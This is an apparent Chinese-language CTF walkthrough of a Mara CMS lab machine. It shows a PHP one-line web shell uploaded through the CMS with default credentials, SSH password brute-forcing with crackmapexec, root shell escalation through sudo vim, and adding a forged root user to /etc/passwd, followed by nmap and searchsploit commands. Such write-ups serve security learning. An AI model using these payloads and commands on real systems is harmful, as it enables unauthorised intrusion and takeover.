渗透复现
一、信息收集
搜索相关Mara cms
,发现一个漏洞,文件上传,远程代码执行,https://cloud.tencent.com/developer/article/2277522
二、web_flag
- 访问Mare cms
- admin:changeme 进行登录
- 访问 http://target/codebase/dir.php?type=filenew 上传web shell
- 连接web shell
一句话木马:
1 | eval($_POST[1]); |
三、user_flag
在/home
处可以发现一个用户,d3f4ult
,继续进入,查看user_flag
,发现permission denied
,继续查看notes.txt
,(后半句的提示sudo提权可以用vim),发现一段base64编码,解码cGFzc3dkWzAtOV1bMC05XQo=
—> passwd[0~9][0~9]
爆破密码,在kali中先生成一个passwd[0~9][0~9]
的字典,然后使用工具Crackmapexec爆破
vim 是一个文本编辑器
1 | 写入:i 或者 a |
1 | vim pass.py |
1 | file = open('pass','w+',encoding='utf-8') |
1 | python pass.py |
生成好字典,开始爆破
1 | crackmapexec ssh -u d3f4ult -p pass --port xxxx xxx.xx.xx.xx |
爆破出来passwd16
,登录ssh
1 | ssh d3f4ult@xxxx xxx.xx.xx.xx -p xxxx |
四、root_flag
查看当前用户可以使用root权限执行哪些命令。
1 | sudo -l |
(1)vim提权
因为vim以root身份执行,使用vim启动的交互式shell也会同样具有root权限。
1 | sudo vim |
1 | :!/bin/bash[回车] |
成功提权。
(2)编辑/etc/passwd提权
root权限执行的vim可以对/etc/passwd
进行写操作。而该文件中储存着当前系统中的所有用户及其密码,文件格式如下
1 | root: x:0:0:root:/root:/bin/bash |
/etc/passwd
中的密码位为 x 是因为早期的 UNIX 密码放在 /etc/passwd
文件中,由于该文件允许所有用户读取,易导致用户密码泄露,因此从 /etc/passwd
文件中分离出来,并单独放到了此文件中。 /etc/shadow
文件只有 root 用户拥有读权限,保证了用户密码的安全性。但是我们可以向其中写入伪造的密码以达到效果:先使用 openssl 生成加密后的密码:
1 | openssl passwd -1 123 |
然后修改/etc/passwd
root的信息,像下面这样。再追加到etc/passwd
中,如下
1 | Echo:$1$h0N5PbHk$LKH90BH1KrLeGnwNSqQDq0:0:0:root:/root:/bin/bash |
1 | sudo vim /etc/passwd |
追加到etc/passwd
中
然后使用Echo:123登录
1 | su Echo |
提权成功,然后进入/root找到flag
1 | cd /root |
五、一些拓展
(1)网站扫描
常规情况下,我们需要使用Nmap等工具对目标网站进行扫描,以确认其开放的端口以及服务信息。我们需要对目标进行四次扫描:
1 | nmap --min-rate 1000 -p- -oA ports targetIP |
1 | nmap -p targetPorts -sT -sV -O -oA detail targetIP |
1 | nmap -p targetPorts --script=vuln -oA vuln targetIp |
1 | nmap --min-rate 1000 -p- -sU -oA UDPScan targetIP |
在进行扫描后,根据得到的信息进行渗透优先级的判断。一般情况下,WEB服务的渗透优先级更高。
(2)漏洞搜索
1 | searchsploit mara cms |
根据搜索的path信息,使用命令将利用文件拷贝到当前目录:
1 | searchsploit -m 48780 |
然后按照给出的poc执行。
(3)sudo提权